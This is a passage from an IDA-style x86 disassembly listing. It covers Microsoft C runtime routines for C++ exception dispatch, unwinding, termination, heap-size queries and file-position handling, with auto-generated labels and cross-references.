					; sub_422651+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_4227F3
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4227F8
		add	esp, 20h
		jmp	short loc_4227C8
; ---------------------------------------------------------------------------


loc_4227F3:				; CODE XREF: sub_422651+180j
		jmp	sub_422DFC
sub_422651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227F8	proc near		; CODE XREF: sub_422651+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBE70, 0
		push	esi
		push	edi
		jz	short loc_422829
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D3AA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42289C


loc_422829:				; CODE XREF: sub_4227F8+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	esi, eax


loc_422845:				; CODE XREF: sub_4227F8+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_42289C
		cmp	edi, [esi]
		jl	short loc_422894
		cmp	edi, [esi+4]
		jg	short loc_422894
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_42286E
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_422894


loc_42286E:				; CODE XREF: sub_4227F8+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_422894:				; CODE XREF: sub_4227F8+57j
					; sub_4227F8+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_422845
; ---------------------------------------------------------------------------


loc_42289C:				; CODE XREF: sub_4227F8+2Fj
					; sub_4227F8+53j
		pop	edi
		pop	esi
		leave
		retn
sub_4227F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_422651+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4228F7
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_4228F7
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4228D1
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4228F3


loc_4228D1:				; CODE XREF: sub_4228A0+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4228DB
		test	byte ptr [edi],	8
		jz	short loc_4228F3


loc_4228DB:				; CODE XREF: sub_4228A0+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4228EA
		test	byte ptr [edi],	1
		jz	short loc_4228F3


loc_4228EA:				; CODE XREF: sub_4228A0+43j
		test	al, 2
		jz	short loc_4228F7
		test	byte ptr [edi],	2
		jnz	short loc_4228F7


loc_4228F3:				; CODE XREF: sub_4228A0+2Fj
					; sub_4228A0+39j ...
		xor	eax, eax
		jmp	short loc_4228FA
; ---------------------------------------------------------------------------


loc_4228F7:				; CODE XREF: sub_4228A0+Bj
					; sub_4228A0+14j ...
		push	1
		pop	eax


loc_4228FA:				; CODE XREF: sub_4228A0+55j
		pop	edi
		pop	esi
		retn
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228FD	proc near		; CODE XREF: sub_4225B6+34p
					; ___:004229F3p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42292F:				; CODE XREF: sub_4228FD+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_422989
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42293E
		cmp	esi, [edi+4]
		jl	short loc_422943


loc_42293E:				; CODE XREF: sub_4228FD+3Aj
		call	sub_422E52


loc_422943:				; CODE XREF: sub_4228FD+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_42295E
		push	103h
		push	ebx
		push	eax
		call	sub_422DB0


loc_42295E:				; CODE XREF: sub_4228FD+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42297E
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_42299B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_42297E:				; CODE XREF: sub_4228FD+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42292F
; ---------------------------------------------------------------------------


loc_422989:				; CODE XREF: sub_4228FD+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4228FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42299B	proc near		; CODE XREF: sub_4228FD+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4229AC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4229AC:				; CODE XREF: sub_42299B+Cj
		jmp	sub_422DFC
sub_42299B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229B1	proc near		; CODE XREF: sub_422651+151p
					; sub_4227F8+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4229D3
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422B62
		add	esp, 10h


loc_4229D3:				; CODE XREF: sub_4229B1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4229DF
		push	edi
		jmp	short loc_4229E2
; ---------------------------------------------------------------------------


loc_4229DF:				; CODE XREF: sub_4229B1+29j
		push	[ebp+arg_24]


loc_4229E2:				; CODE XREF: sub_4229B1+2Cj
		call	sub_41D2AC
sub_4229B1	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_4228FD
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_422A2C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422A27
		push	edi
		push	eax
		call	sub_41D26A


loc_422A27:				; CODE XREF: ___:00422A1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A2C	proc near		; CODE XREF: ___:00422A14p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DBE68
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBE6C
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DBE68, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBE6C, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41D331
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422AF2
		mov	eax, [ebp+var_2C]


loc_422AB9:				; CODE XREF: sub_422AD2+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422A2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AC8	proc near		; DATA XREF: ___:004278C8o
		push	dword ptr [ebp-14h]
		call	sub_422B38
		pop	ecx
		retn
sub_422AC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; DATA XREF: ___:004278CCo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D592
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422AB9
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AEA:				; DATA XREF: ___:004278C0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422AF2	proc near		; CODE XREF: sub_422A2C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DBE68, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBE6C, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422B37
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422B37
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422B37
		cmp	[ebp-24h], ebx
		jnz	short locret_422B37
		cmp	[ebp-2Ch], ebx
		jz	short locret_422B37
		call	sub_41D5FA
		push	eax
		push	edi
		call	sub_422D26
		pop	ecx
		pop	ecx

locret_422B37:				; CODE XREF: sub_422AF2+1Cj
					; sub_422AF2+22j ...
		retn
sub_422AF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B38	proc near		; CODE XREF: sub_422AC8+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422B5F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_422B5F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422B5F:				; CODE XREF: sub_422B38+Cj
					; sub_422B38+12j ...
		xor	eax, eax
		retn
sub_422B38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B62	proc near		; CODE XREF: sub_4229B1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_422D0B
		cmp	byte ptr [eax+8], 0
		jz	loc_422D0B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_422D0B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_422BFF
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422BF0:				; CODE XREF: sub_422B62+F5j
		push	eax
		call	sub_422D8D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422D07
; ---------------------------------------------------------------------------


loc_422BFF:				; CODE XREF: sub_422B62+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_422C59
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422D07
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422D07
		add	esi, 8
		push	esi
		jmp	short loc_422BF0
; ---------------------------------------------------------------------------


loc_422C59:				; CODE XREF: sub_422B62+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422CA1
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CA1:				; CODE XREF: sub_422B62+103j
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+18h]
		call	sub_424FB8
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		test	byte ptr [esi],	4
		jz	short loc_422CE8
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D2A5
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CE8:				; CODE XREF: sub_422B62+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D29E
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422D02:				; CODE XREF: sub_422B62+6Aj
					; sub_422B62+7Cj ...
		call	sub_422E52


loc_422D07:				; CODE XREF: sub_422B62+98j
					; sub_422B62+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D0B:				; CODE XREF: sub_422B62+2Ej
					; sub_422B62+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422B62	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D26	proc near		; CODE XREF: sub_422651+170p
					; sub_422AF2+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422D6D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422D6D
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41D29E
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D6D:				; CODE XREF: sub_422D26+2Aj
					; sub_422D26+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422D26	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_422D8D	proc near		; CODE XREF: sub_422B62+8Fp
					; sub_422B62+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422DAE
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422DAE:				; CODE XREF: sub_422D8D+12j
		pop	esi
		retn
sub_422D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DB0	proc near		; CODE XREF: sub_41D331+40p
					; sub_4228FD+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D61D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_422DEF
		mov	ecx, 2


loc_422DEF:				; CODE XREF: sub_422DB0+38j
		push	ecx
		call	sub_41D61D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DFC	proc near		; CODE XREF: sub_422651:loc_4227F3j
					; sub_42299B:loc_4229ACj ...

var_28		= dword	ptr -28h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBE74
		test	eax, eax
		jz	short loc_422E44
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_422E40
; ---------------------------------------------------------------------------


loc_422E39:				; DATA XREF: ___:00427900o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E3D:				; DATA XREF: ___:00427904o
		mov	esp, [ebp+var_18]


loc_422E40:				; CODE XREF: sub_422DFC+3Bj
		and	[ebp+var_4], 0


loc_422E44:				; CODE XREF: sub_422DFC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422E4D:				; DATA XREF: ___:004278F8o
		jmp	loc_424FD0
sub_422DFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E52	proc near		; CODE XREF: sub_41D4D3+23p
					; sub_41D4D3:loc_41D53Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43D444
		test	eax, eax
		jz	short loc_422E9A
		mov	[ebp+var_4], 1
		call	eax ; sub_422DFC
		jmp	short loc_422E96
; ---------------------------------------------------------------------------


loc_422E8F:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E93:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_422E96:				; CODE XREF: sub_422E52+3Bj
		and	[ebp+var_4], 0


loc_422E9A:				; CODE XREF: sub_422E52+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422EA3:				; DATA XREF: ___:00427910o
		jmp	sub_422DFC
sub_422E52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EA8	proc near		; CODE XREF: sub_41D9B3+7p
					; sub_41D9B3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DD388
		push	esi
		cmp	eax, 3
		jnz	short loc_422ED1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E717
		test	eax, eax
		pop	ecx
		jz	short loc_422ECE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422ECE:				; CODE XREF: sub_422EA8+1Cj
		push	esi
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED1:				; CODE XREF: sub_422EA8+Ej
		cmp	eax, 2
		jnz	short loc_422EF5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422EF5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EA8+2Cj
					; sub_422EA8+43j
		push	[ebp+arg_0]


loc_422EF8:				; CODE XREF: sub_422EA8+27j
		push	0
		push	dword_4DD384
		call	near ptr 2660000h
		nop


loc_422F06:				; CODE XREF: sub_422EA8+24j
					; sub_422EA8+4Bj
		pop	esi
		leave
		retn
sub_422EA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F09	proc near		; CODE XREF: ___:0041DAF2p
					; sub_41F9BC+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DD140
		push	esi
		push	edi
		jnb	short loc_422F8B
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_422F8B
		push	eax
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422F4D
		mov	dword_4DBDDC, 9
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F4D:				; CODE XREF: sub_422F09+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 27B0000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422F6D
		nop
		call	near ptr 2690C56h
		jmp	short loc_422F6F
; ---------------------------------------------------------------------------


loc_422F6D:				; CODE XREF: sub_422F09+5Aj
		xor	eax, eax


loc_422F6F:				; CODE XREF: sub_422F09+62j
		test	eax, eax
		jz	short loc_422F7C
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F7C:				; CODE XREF: sub_422F09+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_422F9F
; ---------------------------------------------------------------------------


loc_422F8B:				; CODE XREF: sub_422F09+Dj
					; sub_422F09+2Aj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_422F9C:				; CODE XREF: sub_422F09+42j
					; sub_422F09+71j
		or	eax, 0FFFFFFFFh


loc_422F9F:				; CODE XREF: sub_422F09+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422F09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FA3	proc near		; CODE XREF: ___:0041DAB5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_422FBF
		mov	[edi+4], ebx


loc_422FBF:				; CODE XREF: sub_422FA3+17j
		push	1
		push	ebx
		push	esi
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42302D
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422FE4
		sub	eax, [edi+4]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_422FE4:				; CODE XREF: sub_422FA3+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_42301E
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DD040[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_423035
		mov	edx, ecx


loc_42300F:				; CODE XREF: sub_422FA3+79j
		cmp	edx, eax
		jnb	short loc_423035
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42301B
		inc	[ebp+var_8]


loc_42301B:				; CODE XREF: sub_422FA3+73j
		inc	edx
		jmp	short loc_42300F
; ---------------------------------------------------------------------------


loc_42301E:				; CODE XREF: sub_422FA3+50j
		test	dl, 80h
		jnz	short loc_423035
		mov	dword_4DBDDC, 16h


loc_42302D:				; CODE XREF: sub_422FA3+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423035:				; CODE XREF: sub_422FA3+68j
					; sub_422FA3+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_423043
		mov	eax, [ebp+var_8]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423043:				; CODE XREF: sub_422FA3+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_4230EE
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42305C
		and	[ebp+var_8], edx
		jmp	loc_4230EE
; ---------------------------------------------------------------------------


loc_42305C:				; CODE XREF: sub_422FA3+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
